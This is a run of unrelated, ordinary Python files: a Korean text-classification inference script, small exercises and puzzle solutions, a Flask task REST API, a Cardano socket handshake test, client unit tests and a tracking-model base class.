Y1_dict_rev = {0: "대화형", 1: "사실형", 2: "예측형", 3: "추론형"}
Y2_dict_rev = {0: "긍정", 1: "미정", 2: "부정"}
Y3_dict_rev = {0: "과거", 1: "미래", 2: "현재"}
Y4_dict_rev = {0: "불확실", 1: "확실"}

train_Y1_cat = []
for i in range(len(train_Y1)):
    train_Y1_cat.append(Y1_dict[train_Y1[i]])

train_Y2_cat = []
for i in range(len(train_Y2)):
    train_Y2_cat.append(Y2_dict[train_Y2[i]])

train_Y3_cat = []
for i in range(len(train_Y3)):
    train_Y3_cat.append(Y3_dict[train_Y3[i]])

train_Y4_cat = []
for i in range(len(train_Y4)):
    train_Y4_cat.append(Y4_dict[train_Y4[i]])

val_Y1_cat = []
for i in range(len(val_Y1)):
    val_Y1_cat.append(Y1_dict[val_Y1[i]])

val_Y2_cat = []
for i in range(len(val_Y2)):
    val_Y2_cat.append(Y2_dict[val_Y2[i]])

val_Y3_cat = []
for i in range(len(val_Y3)):
    val_Y3_cat.append(Y3_dict[val_Y3[i]])

val_Y4_cat = []
for i in range(len(val_Y4)):
    val_Y4_cat.append(Y4_dict[val_Y4[i]])

# define tokenizer
tokenizer = AutoTokenizer.from_pretrained("snunlp/KR-SBERT-V40K-klueNLI-augSTS")

# define model
class MeanPooling(nn.Module):
    def __init__(self):
        super(MeanPooling, self).__init__()
    def forward(self, last_hidden_state, attention_masks):
        input_mask_expanded = attention_masks.unsqueeze(-1).expand(last_hidden_state.size()).float()
        sum_embeddings = torch.sum(last_hidden_state * input_mask_expanded, 1)
        sum_mask = input_mask_expanded.sum(1)
        sum_mask = torch.clamp(sum_mask, min=1e-9)
        mean_embeddings = sum_embeddings / sum_mask
        return mean_embeddings

class MultiSampleDropout(nn.Module):
    def __init__(self, max_dropout_rate, num_samples, classifier):
        super(MultiSampleDropout, self).__init__()
        self.dropout = nn.Dropout
        self.classifier = classifier
        self.max_dropout_rate = max_dropout_rate
        self.num_samples = num_samples
    def forward(self, out):
        return torch.mean(torch.stack([self.classifier(self.dropout(p=self.max_dropout_rate)(out)) for _, rate in enumerate(np.linspace(0, self.max_dropout_rate, self.num_samples))], dim=0), dim=0)

class NeuralCLF(nn.Module):
    def __init__(self, num_classes, plm="snunlp/KR-SBERT-V40K-klueNLI-augSTS"):
        super(NeuralCLF, self).__init__()
        self.config = AutoConfig.from_pretrained(plm)
        self.model = AutoModel.from_pretrained(plm, config=self.config)
        self.tokenizer = AutoTokenizer.from_pretrained(plm)
        self.mean_pooler = MeanPooling()
        self.fc = nn.Linear(self.config.hidden_size, num_classes)
        self._init_weights(self.fc)
        self.multi_dropout = MultiSampleDropout(0.2, 8, self.fc)
        self.metric = nn.CrossEntropyLoss()
    def _init_weights(self, module):
        if isinstance(module, nn.Linear):
            module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
            if module.bias is not None:
                module.bias.data.zero_()
    def forward(self, input_ids, attn_masks):
        x = self.model(input_ids, attn_masks)[0]
        x = self.mean_pooler(x, attn_masks)
        x = self.multi_dropout(x)
        return x

class WeightedFocalLoss(nn.Module):
    def __init__(self, alpha, gamma=2):
        super(WeightedFocalLoss, self).__init__()
        self.alpha = alpha
        self.device = torch.device("cuda")
        self.alpha = self.alpha.to(self.device)
        self.gamma = gamma
    def forward(self, inputs, targets):
        CE_loss = nn.CrossEntropyLoss()(inputs, targets)
        targets = targets.type(torch.long)
        at = self.alpha.gather(0, targets.data.view(-1))
        pt = torch.exp(-CE_loss)
        F_loss = at * (1-pt)**self.gamma * CE_loss
        return F_loss.mean()

def flat_accuracy(preds, labels):
    pred_flat = np.argmax(preds, axis=1).flatten()
    labels_flat = labels.flatten()
    return np.sum(pred_flat == labels_flat) / len(labels_flat)

train_input_ids, train_attn_masks = [], []
for i in tqdm(range(len(train_sentences))):
    encoded_inputs = tokenizer(train_sentences[i], max_length=256, truncation=True, padding='max_length')
    train_input_ids.append(encoded_inputs["input_ids"])
    train_attn_masks.append(encoded_inputs["attention_mask"])

val_input_ids, val_attn_masks = [], []
for i in tqdm(range(len(val_sentences))):
    encoded_inputs = tokenizer(val_sentences[i], max_length=256, truncation=True, padding='max_length')
    val_input_ids.append(encoded_inputs["input_ids"])
    val_attn_masks.append(encoded_inputs["attention_mask"])

train_input_ids = torch.tensor(train_input_ids, dtype=int)
train_attn_masks = torch.tensor(train_attn_masks, dtype=int)

val_input_ids = torch.tensor(val_input_ids, dtype=int)
val_attn_masks = torch.tensor(val_attn_masks, dtype=int)

train_Y1_labels = torch.tensor(train_Y1_cat, dtype=int)
val_Y1_labels = torch.tensor(val_Y1_cat, dtype=int)

train_Y2_labels = torch.tensor(train_Y2_cat, dtype=int)
val_Y2_labels = torch.tensor(val_Y2_cat, dtype=int)

train_Y3_labels = torch.tensor(train_Y3_cat, dtype=int)
val_Y3_labels = torch.tensor(val_Y3_cat, dtype=int)

train_Y4_labels = torch.tensor(train_Y4_cat, dtype=int)
val_Y4_labels = torch.tensor(val_Y4_cat, dtype=int)

# start of the inference loop
num_classes_list = [4, 3, 3, 2]
dict_list = [Y1_dict, Y2_dict, Y3_dict, Y4_dict]
rev_dict_list = [Y1_dict_rev, Y2_dict_rev, Y3_dict_rev, Y4_dict_rev]
cat_labels_list = [train_Y1_cat, train_Y2_cat, train_Y3_cat, train_Y4_cat]
train_labels_list = [train_Y1_labels, train_Y2_labels, train_Y3_labels, train_Y4_labels]
val_labels_list = [val_Y1_labels, val_Y2_labels, val_Y3_labels, val_Y4_labels]

full_predictions = []
checkpoints = ["Model1_val_acc:0.8858635355029586_val_loss:0.023926928197712326.pt",
               "Model2_val_acc:0.9741586538461539_val_loss:0.0020506795306512405.pt",
               "Model3_val_acc:0.9034069896449703_val_loss:0.022876849130625487.pt",
               "Model4_val_acc:0.9359975961538461_val_loss:0.008119990593627335.pt"]

test_sentences = test["문장"].values

test_input_ids, test_attn_masks = [], []
for i in tqdm(range(len(test_sentences))):
    encoded_inputs = tokenizer(test_sentences[i], max_length=256, truncation=True, padding='max_length')
    test_input_ids.append(encoded_inputs["input_ids"])
    test_attn_masks.append(encoded_inputs["attention_mask"])

test_input_ids = torch.tensor(test_input_ids, dtype=int)
test_attn_masks = torch.tensor(test_attn_masks, dtype=int)

batch_size = 32
test_data = TensorDataset(test_input_ids, test_attn_masks)
test_sampler = SequentialSampler(test_data)
test_dataloader = DataLoader(test_data, sampler=test_sampler, batch_size=batch_size)

for J in range(len(num_classes_list)):
    print(f"===== Training for category {J+1} =====")
    model = NeuralCLF(num_classes=num_classes_list[J])
    checkpoint = torch.load(checkpoints[J])
    model.load_state_dict(checkpoint)
    model.eval()
    model.cuda()

    predictions = []

    for step, batch in tqdm(enumerate(test_dataloader), position=0, leave=True, total=len(test_dataloader)):
        batch = tuple(t.to(device) for t in batch)
        b_input_ids, b_input_mask = batch
        with torch.no_grad():
            outputs = model(b_input_ids, b_input_mask)
        classes = nn.Softmax()(outputs)
        classes = torch.argmax(classes, dim=1)
        classes = classes.detach().cpu().numpy()
        predictions.extend(classes)

    predictions_string = []
    for p in predictions:
        predictions_string.append(rev_dict_list[J][p])

    full_predictions.append(predictions_string)

print(len(full_predictions))
print(len(full_predictions[0]),len(full_predictions[1]), len(full_predictions[2]), len(full_predictions[3]))

answers = []
for i in range(len(full_predictions[0])):
    x1 = full_predictions[0][i]
    x2 = full_predictions[1][i]
    x3 = full_predictions[2][i]
    x4 = full_predictions[3][i]
    answer_str = str(x1) + "-" + str(x2) + "-" + str(x3) + "-" + str(x4)
    answers.append(answer_str)

print(len(answers))

submission = pd.read_csv("sample_submission.csv")
submission["label"] = answers

submission.to_csv("KRSBERT_baseline.csv",index=False)

print("done!")


# Matplotlib Exercise: bar chart

# Import matplotlib here
import matplotlib.pyplot as plt

# Create an empty dictionary
# (key is the Linux Distribution name, value is the number of Hits per Day
distros_dict = {}

# open the data file
with open("distrowatch_2021.csv") as weather_file:
    _ = weather_file.readline() # column headers on first line of file

    for line in weather_file:
        distro, hits_per_day  = line.split(",")
        # insert the key,value pair into the dictionary
        distros_dict[distro] = int(hits_per_day)

# Add code for the Bar Chart here

# create fig and ax
fig, ax = plt.subplots(figsize=(15,10))

# title
ax.set_title("Most popular linux distributions, 2022")

# setting axis labels
ax.set_ylabel("Distributions")
ax.set_xlabel("Hits per day")

# creating the bar chart
ax.barh(list(distros_dict.keys()), distros_dict.values())

# displaying the values at the end of the bar
for index, value in enumerate(distros_dict.values()):
    ax.text(value,index,str(value))

# how the plot
plt.show()

# save the figure
fig.savefig("exercise_3.png")


def qsort(array):
    if len(array)<2:
        return array
    else:
        pivot=array[0]
        less=[j for j in array[1:] if j<=pivot]
        great=[j for j in array[1:] if j>pivot]
    return qsort(less)+[pivot]+qsort(great)#不改变array0的值
array=[]
array0=[]
i=0
while True:
    array.append(input())
    i+=1
    if len(array[i-1])==0:#空串判断
        break
for j in range(len(array)-1):#转数字列表
    a=int(array[j])
    array0.append(a)
array1=qsort(array0)#数字列表排序
num=int(len(array)/2)
print(f"{array1[-1]}\n{array1[0]}\n{array[num-1]}")
array1.reverse()#无返回值
for i in range(len(array1)):
    print(array1[i],end=" ")


"""
Simple REST Example using Flask-Restful Library.  Tested with Python 3.7

This is a stateless example - No Global Variables are used.

Started with Example from  https://flask-restful.readthedocs.io/en/0.3.5/quickstart.html
Must activate the virtualenv for python 3:  source env/bin/activate

// Get tasks dataset list
curl http://127.0.0.1:5000/tasks -X GET

// Get all tasks by dataset
curl http://127.0.0.1:5000/tasks/t1 -X GET

// Get a task
curl http://127.0.0.1:5000/tasks/t1/task4 -X GET

// Delete a task
curl http://127.0.0.1:5000/tasks/t1/task4 -X DELETE

// Add or Update a task
curl http://127.0.0.1:5000/tasks/t1/task4 -X POST -v -H "Content-type: application/json" -d "{\"desc\": \"Task Number 4\", \"dur\": \"77\"}"

"""
from flask import Flask
from flask_restful import reqparse, abort, Api, Resource, fields, marshal
import json
import os

app = Flask(__name__)
api = Api(app)

MESSAGE_SUCCESS = {"message": "success"}

#
# TASK MODULE
#

parser = reqparse.RequestParser()
parser.add_argument('desc')
parser.add_argument('dur')

def get_dict_values_as_list(dict):
    olist = []
    for v in dict.values():
        olist.append(v)
    return olist

task_fields = {
    'datasetid': fields.String,
    'taskid': fields.String,
    'desc': fields.String,
    'dur': fields.Integer,
    'uri':  fields.Url('task_ep', absolute=True)
}

class Task(object):
    def __init__(self, datasetid, taskid, desc, dur):
        self.datasetid = datasetid
        self.taskid = taskid
        self.desc = desc
        self.dur = dur

def get_task(id, taskdict):
    return taskdict[id]

def remove_task(task, taskdict):
    del taskdict[task.taskid]

def task_exists(id, taskdict):
    if id in taskdict:
        return True
    else:
        return False

def create_new_task(taskdict, did, tid, tdesc, tdur):
    if tid in taskdict:
        abort(400, message="Task {} already exists".format(id))
    ta = Task(datasetid=did, taskid=tid, desc=tdesc, dur=tdur)
    taskdict[ta.taskid] = ta
    return ta

#
# FILE MODULE
#

FEXTENSION = ".ta"
FDELIMITER = ","
NEWLINE = "\n"

file_fields = {
    'dataset': fields.String
}

def file_exists(filename):
    if (os.path.isfile(filename)):
        return True
    else:
        return False

def get_task_filenames():
    nlist = []
    cdir = os.getcwd()
    for fname in os.listdir(cdir):
        if fname.endswith(FEXTENSION):
            nlist.append(fname)
    return nlist

def get_file_list():
    fList = []
    nList = get_task_filenames()
    for name in nList:
        filedict = {}
        filedict['dataset'] = name
        fList.append(filedict)
    return fList

# Assumes each line represents a task in this form:  taskid, taskdesc, taskduration
def load_task_file(datasetid, taskdict):
    filename = datasetid + FEXTENSION
    if (os.path.isfile(filename)):
        with open(filename, mode='rt') as filestream:
            for line in filestream:
                lstr = line.rstrip(NEWLINE)
                larray = lstr.split(FDELIMITER)
                create_new_task(taskdict, datasetid, larray[0], larray[1], larray[2])

# Writes out task lines in this form:  taskid, taskdesc, taskduration
def write_task_file(filename, taskdict):
    with open(filename, mode='wt') as filestream:
        for task in taskdict.values():
            filestream.write(task.taskid)
            filestream.write(FDELIMITER)
            filestream.write(task.desc)
            filestream.write(FDELIMITER)
            filestream.write(task.dur)
            filestream.write(NEWLINE)

#
# REST MODULES
#

# TaskApi
# GET    - Get a task
# DELETE - Delete a task
# POST   - Add or Update a task
class TaskApi(Resource):
    def get(self, **kwargs):
        # get values and check for dataset existence
        datasetid = kwargs["datasetid"]
        taskid = kwargs["taskid"]
        fname = datasetid + FEXTENSION
        if (not file_exists(fname)):
            abort(404, message="Tasks Dataset {} does not exist".format(fname))

        # Get Task data and check for task existence
        taskdict = {}
        load_task_file(datasetid, taskdict)
        taskexists = task_exists(taskid, taskdict)
        if (not taskexists):
            abort(404, message="Task {} does not exist".format(taskid))

        # Return task
        task = get_task(taskid, taskdict)
        return marshal(task, task_fields), 200

    def delete(self, **kwargs):
        # get values and check for dataset existence
        datasetid = kwargs["datasetid"]
        taskid = kwargs["taskid"]
        fname = datasetid + FEXTENSION
        if (not file_exists(fname)):
            abort(404, message="Tasks Dataset {} does not exist".format(fname))

        # Get Task data and check for task existence
        taskdict = {}
        load_task_file(datasetid, taskdict)
        taskexists = task_exists(taskid, taskdict)
        if (not taskexists):
            abort(404, message="Task {} does not exist".format(taskid))

        # Delete Task and return
        task = get_task(taskid, taskdict)
        remove_task(task, taskdict)
        write_task_file(fname, taskdict)
        return MESSAGE_SUCCESS, 200

    def post(self, **kwargs):
        # get values and check for dataset existence
        args = parser.parse_args()
        taskdesc = args['desc']
        taskdur = args['dur']
        datasetid = kwargs["datasetid"]
        taskid = kwargs["taskid"]
        fname = datasetid + FEXTENSION
        if (not file_exists(fname)):
            abort(404, message="Tasks Dataset {} does not exist".format(fname))

        # Get Task data
        taskdict = {}
        load_task_file(datasetid, taskdict)
        taskexists = task_exists(taskid, taskdict)

        # Update if the task exists, otherwise add a new task
        if (taskexists):
            task = get_task(taskid, taskdict)
            task.desc = taskdesc
            task.dur = taskdur
        else:
            create_new_task(taskdict, datasetid, taskid, taskdesc, taskdur)

        # update dataset and return
        write_task_file(fname, taskdict)
        return MESSAGE_SUCCESS, 200

# TaskListApi
# GET - Get all tasks by dataset
class TaskListApi(Resource):
    def get(self, **kwargs):
        datasetid = kwargs["datasetid"]
        fname = datasetid + FEXTENSION
        if (not file_exists(fname)):
            abort(404, message="Tasks Dataset {} does not exist".format(fname))
        taskdict = {}
        load_task_file(datasetid, taskdict)
        tasklist = get_dict_values_as_list(taskdict)
        return marshal(tasklist, task_fields), 200

# GET - List the task dataset names
class TaskDatasetsApi(Resource):
    def get(self, **kwargs):
        return marshal(get_file_list(), file_fields), 200

## Api resource routing
api.add_resource(TaskDatasetsApi, '/tasks', endpoint='tasks_ep')
api.add_resource(TaskListApi, '/tasks/<datasetid>', endpoint='tasklist_ep')
api.add_resource(TaskApi, '/tasks/<datasetid>/<taskid>', endpoint='task_ep')

if __name__ == '__main__':
    app.run(debug=True)


import sys
from collections import deque
sys.stdin = open('input.txt')

# 상하좌우
dx = [-1, 1, 0, 0]
dy = [0, 0, -1, 1]

def bfs(storage, ripe):
    while ripe:
        x, y, cnt = ripe.popleft()
        for i in range(4):
            nx = x + dx[i]
            ny = y + dy[i]
            if 0 <= nx < N and 0 <= ny < M and storage[nx][ny] == 0:
                storage[nx][ny] = cnt + 1
                ripe.append((nx, ny, cnt + 1))

M, N = map(int, input().split())
storage = [list(map(int, input().split())) for _ in range(N)]
# print(storage)
ripe = deque()
for i in range(N):
    for j in range(M):
        if storage[i][j] == 1:
            ripe.append((i, j, 1))
# print(ripe)
bfs(storage, ripe)
max_date = 0
for line in storage:
    if max_date < max(line):
        max_date = max(line)
    if line.count(0) > 0:
        print(-1)
        break
else:
    if max_date > 1:
        print(max_date-1)
    else:
        print(0)
# print(storage)


import os
import socket
from datetime import datetime
from typing import NamedTuple

import bitstruct
import cbor2

from .utils import recv_exact, send_many

HDR = bitstruct.compile("u32u1u15u16")

class Header(NamedTuple):
    time: int
    mode: bool
    mini_protocol_id: int
    length: int

def now_micros():
    return int(datetime.now().timestamp() * (10 ** 6)) & 0xFFFFFFFF

def test():
    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    sock.connect(os.environ["CARDANO_NODE_SOCKET_PATH"])
    # propose
    msg = cbor2.dumps([0, {5: [42, False]}])
    hdr = Header(
        time=now_micros(),
        mode=0,
        mini_protocol_id=0,  # handshake protocol id
        length=len(msg),
    )
    raw = HDR.pack(*hdr)
    print("sent", len(msg) + 8)
    send_many(sock, raw, msg)
    print("recv")
    raw = recv_exact(sock, 8)
    hdr = Header(*HDR.unpack(raw))
    print("recv header", hdr)
    msg = cbor2.loads(recv_exact(sock, hdr.length))
    print("recv msg", msg)

if __name__ == "__main__":
    test()


__author__ = "Christian Kongsgaard"
__license__ = 'MIT'

# -------------------------------------------------------------------------------------------------------------------- #
# IMPORTS

# Modules
import geocoder
import os

# RiBuild Modules
from delphin_6_automation.database_interactions import weather_interactions
from delphin_6_automation.database_interactions import mongo_setup
from delphin_6_automation.database_interactions import auth

# -------------------------------------------------------------------------------------------------------------------- #
# RIBuild

def get_weather_stations_in_ribuild():
    weather_folder = r'D:\Weatherdata\RAW\Climate for Culture\CTL_2021_2050'

    stations_in_ribuild = []
    for file in os.listdir(weather_folder):
        if file.endswith('.WAC'):
            title = file.split('_')

            if len(title) == 6:
                city, long, lat, *_ = title
            elif len(title) == 7:
                city, country, long, lat, *_ = title
            elif len(title) == 8:
                __, ___, city, long, lat, *_ = title
            elif len(title) == 9:
                city, street, place, country, long, lat, *_ = title
            else:
                raise KeyError(f'List is {len(title)} long. Title was {title}')

            geo = geocoder.osm([float(lat), float(long)], method='reverse')

            if geo.country in ['Sverige', 'Danmark', 'Latvija', 'Deutschland',
                               'België / Belgique / Belgien', 'Italia', 'Schweiz/Suisse/Svizzera/Svizra']:
                stations_in_ribuild.append(file)

    return stations_in_ribuild

def create_file_with_stations():
    stations = get_weather_stations_in_ribuild()
    #print(len(stations))

    out_path = r'C:\Users\ocni\PycharmProjects\delphin_6_automation\delphin_6_automation\sampling\input_files\weather_stations.txt'

    with open(out_path, 'w') as out_file:
        for station in stations:
            out_file.write(station + '\n')

def upload_weather_stations():

    mongo_setup.global_init(auth.auth_dict)
    ws_path = r'C:\Users\ocni\PycharmProjects\delphin_6_automation\delphin_6_automation\sampling\input_files\weather_stations.txt'

    with open(ws_path, 'w') as file:
        files = file.readlines()

    weather_folder = r'D:\Weatherdata\RAW\Climate for Culture\CTL_2021_2050'
    for ws in files:
        weather_interactions.upload_weather_to_db(os.path.join(weather_folder, ws))


import random

def guess(x):
    randomno = random.randint(1,x)
    guess=0
    while (guess!= randomno):
        guess= int(input(f"Guess the number between 1 and {x} : "))
        if(guess> randomno):
            print("The number you entered is higher than the alloted number.")
            continue
        elif(guess<randomno):
            print("The number you entered is lower than the alloted number.")
            continue
        elif(guess==randomno):
            print("Congratualations! You guessed it ~~ ;)")
            break

def compguess(y, x):
    low = y
    high = x
    feedback = ''
    while feedback != 'c':
        if low != high:
            guess = random.randint(low, high)
        else:
            guess = low  # could also be high b/c low = high
        feedback = input(f'Is {guess} too high (H), too low (L), or correct (C)?? ').lower()
        if feedback == 'h':
            high = guess - 1
        elif feedback == 'l':
            low = guess + 1

    print(f'Yay! The computer guessed your number, {guess}, correctly!')

m=1
while m!=0:
    who= int(input(f"Welcome to Guess The Number. Do you want to be the Guess-er(Enter 1) or the Guess-ee(Enter 0) ? :"))
    if (who==1):
        print("\nWelcome Back! to - Guess The Number. You have choosen to be the Guess-er.\n")
        y= int(input("Enter the upper limit of the range to start this game: "))
        guess(y)

    elif (who==0):
        o=1
        print("\nWelcome Back! to - Guess The Number. You have choosen to be the Guess-ee.\n")
        while(o!=0):
            y= int(input("Enter the lower limit of the range to start this game: "))
            z= int(input("Enter the upper limit of the range to start this game: "))
            if (y>=z):
                print("Please enter valid numbers, lower limit needs be smaller than the upper limit.")
                o=1
                continue
            elif(z>=y):
                compguess(y, z)
                o=0
    m=int(input(f"\n \nDo you wish to go for another round? Enter 1 for Yes and 0 for No."))
    if m==0:
        break
print("\n \n \nFarewell~~ you're always welcome here so come again sometime :)\n \n \n")


from unittest.mock import Mock
from ..shared import crypto
import io
import logging
import queue
import shutil
import unittest
import unittest.mock
import pathlib
import tempfile

from s5.server.server import S5Server

from . import client
from . import items

from .callbacks import TestCallbacks

from ..shared.conventions import ITEM_TYPES

logger = logging.getLogger(__name__)

TEMP_DIRECTORY = pathlib.Path(tempfile.mkdtemp("Test" + __name__))

def setUpModule():
    assert TEMP_DIRECTORY.exists()
    assert list(TEMP_DIRECTORY.iterdir()) == []

def tearDownModule():
    shutil.rmtree(str(TEMP_DIRECTORY))

class TestReloadClient(unittest.TestCase):

    def test_storeLoad(self):
        dir = TEMP_DIRECTORY / "reloadClient"
        cb = TestCallbacks()
        cb.dataDir = dir
        c = client.S5Client(cb)
        c.initializeNew()
        itm = c.newItem('urn:x-s5:file(text/plain)')

        itm.saveNewContent('Test S5 Item'.encode('UTF-8'))

        itemId = itm.itemId

        del itm
        del c

        c = client.S5Client(cb)

        itm = c.getItem(itemId)

        self.assertEqual(itm.getContentBytes().decode('utf-8'), "Test S5 Item")

class TestS5Client(unittest.TestCase):

    @classmethod
    def setUpClass(cls):
        cls.c = TEMP_DIRECTORY / "clientDir"
        assert not cls.c.exists()
        cb = TestCallbacks()
        cb.dataDir = cls.c
        c = client.S5Client(cb)
        c.initializeNew()

    def test_initUserKey(self):
        cb = TestCallbacks()
        cb.dataDir = TEMP_DIRECTORY / 'UserKeyTest'
        c = client.S5Client(cb)
        c.initializeNew()
        c._generateAndStoreUserKey()
        c.userKey = None
        k = c._getUserPrivateKey()
        self.assertEqual(k['type'], 'private')

    def test_newItem(self):
        cb = TestCallbacks()
        cb.dataDir = self.c
        c = client.S5Client(cb)

        itm = c.newItem('urn:x-s5:file(text/plain)')

        itm.saveNewContent('Test S5 Item'.encode('UTF-8'))

        itemId = itm.itemId

        i2 = c.getItem(itemId)
        b = i2.getContentBytes()
        s = b.decode("UTF-8")
        self.assertEqual(s, "Test S5 Item")

    def test_newItemNotSaved(self):
        d = TEMP_DIRECTORY / 'NotSavedTest'
        cb = TestCallbacks()
        cb.dataDir = d
        c = client.S5Client(cb)

        c.initializeNew()
        itm = c.newItem(ITEM_TYPES.FILE)
        itemId = itm.itemId

        del c
        del itm

        c = client.S5Client(cb)
        itm = c.getItem(itemId)

        itm.saveNewContent(b'Test Data')

        del c
        del itm

        c = client.S5Client(cb)
        itm = c.getItem(itemId)

        self.assertEqual(b'Test Data', itm.getContentBytes())

    def test_itemNotExisting(self):
        cb = TestCallbacks()
        cb.dataDir = self.c
        c = client.S5Client(cb)
        with self.assertRaises(KeyError):
            itm = c.getItem('35')

    def test_itemWeakRef(self):
        cb = TestCallbacks()
        cb.dataDir = self.c
        c = client.S5Client(cb)
        itm = c.newItem('urn:x-s5:file:text/plain')

        itm.saveNewContent('Test S5 Item'.encode('UTF-8'))

        itemId = itm.itemId
        itemObjectId = id(itm)

        itm2 = c.getItem(itemId)
        self.assertEqual(id(itm2), itemObjectId)

        del itm
        del itm2
        # GarbageCollection should remove the item

        itm = c.getItem(itemId)

        self.assertNotEqual(id(itm), itemObjectId)

class TestCatalogMixin(unittest.TestCase):

    class CatalogClient(client.CatalogMixin, client.S5Client):
        pass

    def test_itemByName(self):
        tmp = TEMP_DIRECTORY / 'TestCatalog'
        cb = TestCallbacks()
        cb.dataDir = tmp
        client = self.CatalogClient(cb)
        client.initializeNew()
        i = client.newItem(ITEM_TYPES.JSON)
        i.setContent([5])
        i.save()
        client.putItemByPath(i, ['JSON1'])

        with self.assertRaises(KeyError):
            client.getItemByPath(['unkown name'])

        i = client.newItem(ITEM_TYPES.JSON)
        i.setContent([1, 2, 3])
        i.save()

        with self.assertRaises(KeyError):
            # can not create parents without flag
            client.putItemByPath(i, ['level1', 'level2', 'level3'])

        client.putItemByPath(
            i, ['level1', 'level2', 'level3'], create_parents=True)

        i = client.newItem(ITEM_TYPES.JSON)
        i.setContent([5])
        i.save()

        with self.assertRaises(ValueError):
            # can not overwrite without Flag
            client.putItemByPath(i, ['level1', 'level2', 'level3'])

        client.putItemByPath(
            i, ['level1', 'level2', 'level3'], overwrite_existing=True)

        del client
        del i

        cb = TestCallbacks()
        cb.dataDir = tmp
        client = self.CatalogClient(cb)

        i = client.getItemByPath(['level1'])

        self.assertEqual(i.getContentType(), ITEM_TYPES.MAP)

        i = i['level2']['level3']

        self.assertEqual(i.getContentType(), ITEM_TYPES.JSON)
        self.assertEqual(i.getContent()[0], 5)

class TestIterationMixin(unittest.TestCase):

    class IterateCatalogClient(client.IterationMixin, client.CatalogMixin,
                               client.S5Client):
        pass

    def test_walkItemTree(self):
        cb = TestCallbacks()
        cb.dataDir = TEMP_DIRECTORY / 'TestTreeToWalk'
        c = self.IterateCatalogClient(cb)
        c.initializeNew()

        i = c.newItem(ITEM_TYPES.JSON)
        i.setContent([1, 2, 3])
        i.save()
        c.putItemByPath(i, ['d1', 'd1.1', 'f1.1.1'], create_parents=True)
        c.putItemByPath(i, ['d1', 'd1.2', 'f1.2.1'], create_parents=True)
        c.putItemByPath(i, ['d1', 'd1.2', 'f1.2.2'], create_parents=True)
        c.putItemByPath(i, ['d2', 'f2.1'], create_parents=True)
        c.putItemByPath(c.getRootItem(), ['d1', 'd1.1', 'rootLoop'])

        allPaths = []
        path = []

        def visit(key, down, up, **_):
            if key is None:
                key = 'root'
            if down:
                path.append(key)
            if down and up:
                # append leafes
                allPaths.append(list(path))
            if up:
                path.pop()
            return True

        def handleLoop(key, **_):
            allPaths.append(path + [key, "LOOOP"])
            return False

        c.walkItemTree(c.getRootItem(), visit, handleLoop)

        self.assertEqual(sorted(allPaths),
                         [['root', 'd1', 'd1.1', 'f1.1.1'],
                          ['root', 'd1', 'd1.1', 'rootLoop', 'LOOOP'],
                          ['root', 'd1', 'd1.2', 'f1.2.1'],
                          ['root', 'd1', 'd1.2', 'f1.2.2'],
                          ['root', 'd2', 'f2.1']])

    def test_iterateItemTree(self):
        """ Test if iterateItemTree iterates, and all ids onbly once """
        cb = TestCallbacks()
        cb.dataDir = (TEMP_DIRECTORY / 'TestTreeToIterateOver')
        c = self.IterateCatalogClient(cb)
        c.initializeNew()
        i = c.newItem(ITEM_TYPES.JSON)
        i.setContent([1, 2, 3])
        i.save()
        c.putItemByPath(i, ['d1', 'd1.1', 'f1.1.1'], create_parents=True)
        c.putItemByPath(i, ['d1', 'd1.2', 'f1.2.1'], create_parents=True)
        c.putItemByPath(i, ['d1', 'd1.2', 'f1.2.2'], create_parents=True)
        c.putItemByPath(i, ['d2', 'f2.1'], create_parents=True)
        r = c.getRootItem()
        c.putItemByPath(r, ['d1', 'd1.1', 'rootLoop'])
        it = c.iterateItemTree(r)

        self.assertEqual(next(it), r.itemId)

        self.assertIn(next(it), [r['d1'].itemId, r['d2'].itemId])
        l = list(it)
        self.assertEqual(len(l), 7)  # d2 d1.1 d1.2 f1.1.1 f1.2.1 f1.2.2 f2.1


# YOT_Base class

from abc import ABC, abstractmethod
from torch.autograd import Variable
from ListContainer import ListContainer

import torch
import argparse

class YOT_Base(ABC):
    def __init__(self,argvs = []):
        self.device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

        opt = self.parse_default_config()

        self.data_path = opt.data_path
        self.dataset = opt.dataset
        self.batch_size = opt.batch_size
        self.seq_len = opt.sequence_length
        self.img_size = opt.img_size
        self.epochs = opt.epochs

        self.weights_path = opt.weights_path
        self.save_weights = opt.save_weights

        self.mode = opt.run_mode
        self.model_name = opt.model_name

    def parse_default_config(self):
        parser = argparse.ArgumentParser()

        # default argument
        parser.add_argument("--data_path", type=str, default="../rolo_data", help="path to data config file")
        parser.add_argument("--dataset", type=str, default="yot", help="sort of dataset. yot, rolo or video")

        parser.add_argument("--epochs", type=int, default=30, help="size of epoch")
        parser.add_argument("--batch_size", type=int, default=16, help="size of each image batch")
        parser.add_argument("--sequence_length", type=int, default=6, help="size of each sequence of LSTM")
        parser.add_argument("--img_size", type=int, default=416, help="size of each image dimension")

        parser.add_argument("--weights_path", type=str, default="outputs/weights", help="path to weights folder")
        parser.add_argument("--save_weights", type=bool, default=False, help="save checkpoint and weights")

        parser.add_argument("--run_mode", type=str, default="none", help="train, validate or test mode")
        parser.add_argument("--model_name", type=str, default="YOTMLLP", help="class name of the model")

        args, _ = parser.parse_known_args()
        return args

    def proc(self):
        self.pre_proc()

        for epoch in range(self.epochs):
            self.initialize_epoch_processing(epoch)
            listContainer = ListContainer(self.dataset, self.data_path, self.batch_size, self.seq_len, self.img_size, self.mode)
            for lpos, dataLoader in enumerate(listContainer):
                path = listContainer.get_list_info(lpos)
                self.initialize_list_loop(path)
                for dpos, (frames, fis, locs, labels) in enumerate(dataLoader):
                    fis = Variable(fis.to(self.device))
                    locs = Variable(locs.to(self.device))
                    labels = Variable(labels.to(self.device), requires_grad=False)

                    self.processing(epoch, lpos, dpos, frames, fis, locs, labels)
                self.finalize_list_loop()
            self.finalize_epoch_processing(epoch)

        self.post_proc()

    @abstractmethod
    def pre_proc(self):
        raise NotImplementedError

    @abstractmethod
    def processing(self, epoch, lpos, dpos, frames, fis, locs, labels):
        raise NotImplementedError

    @abstractmethod
    def post_proc(self):
        raise NotImplementedError

    @abstractmethod
    def initialize_list_loop(self, name):
        raise NotImplementedError

    @abstractmethod
    def finalize_list_loop(self):
        raise NotImplementedError

    @abstractmethod
    def initialize_epoch_processing(self, epoch):
        raise NotImplementedError

    @abstractmethod
    def finalize_epoch_processing(self, epoch):
        raise NotImplementedError

    def get_last_sequence(self, data):
        d = torch.split(data, self.seq_len -1, dim=1)
        return torch.squeeze(d[1], dim=1)


"""
≛ Commands Available ≛
